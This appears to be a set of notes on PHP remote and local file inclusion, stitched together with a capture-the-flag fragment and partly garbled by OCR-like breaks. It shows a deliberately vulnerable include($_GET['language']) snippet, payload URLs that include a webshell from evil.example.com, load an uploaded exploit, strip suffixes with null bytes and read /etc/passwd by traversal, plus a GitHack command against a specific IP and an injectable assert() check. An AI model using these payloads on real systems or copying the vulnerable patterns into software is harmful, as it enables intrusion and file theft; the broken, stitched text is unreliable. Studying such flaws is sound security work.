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In PHP the main cause is due to the use of unvalidated user-input with a filesystem function that includes a file for execution.

** most notable are the include and require statements.**

Most of the vulnerabilities can be attributed to novice programmers not being familiar with all of the capabilities of the PHP
programming language. The PHP language has a directive which, if enabled,

** allows filesystem functions to use a URL to retrieve data from remote locations**.[1]

The directive is allow_url_fopen in PHP versions <= 4.3.4 and allow_url_include since PHP 5.2.0. In PHP 5.x this directive is
disabled by default, in prior versions it was enabled by default.[2] To exploit the vulnerability an attacker will alter a variable that is

passed to one of these functions to cause it to include malicious code from a remote resource.

** To mitigate this vulnerability all user input needs to be validated before being used.**
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<?php
if ( isset( $_GET['language'] ) ) {
include( $_GET[ 'language'] . '.php' );

}
?>
<form method="get">
<select name="language">
<option value="english">English</option>
<option value="french">French</option>

</select>
<input type="submit">
</form>

PL T /&payload:

/vulnerable.php?language=http://evil.example.com/webshell.txt? - injects a remotely hosted file containing a mal|
icious code (remote file include)

/vulnerable.php?language=C:\\ftp\\upload\\exploit - Executes code from an already uploaded file called exploit.p
hp (local file inclusion vulnerability)

/vulnerable.php?language=C:\\notes.txt%00 - example using NULL meta character to remove the .php suffix, allowin

g access to files other than .php. This use of null byte injection was patched in PHP 5.3, and can no longer be
used for LFI/RFI attacks.[5]
/vulnerable.php?language=../../../../../etc/passwd%00 - allows an attacker to read the contents of the /etc/pass

wd file on a Unix system through a directory traversal attack.
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>python2 GitHack.py http://111.198.29.45:31930/.git/

fEflag.php X A A

"templates/" . $page .

// I heard '..' is dangerous!

assert("strpos('$file’', '.."') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file _exists('$file')") or die("That file doesn't exist!");

?>
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https://github.com/lijiejie/GitHack
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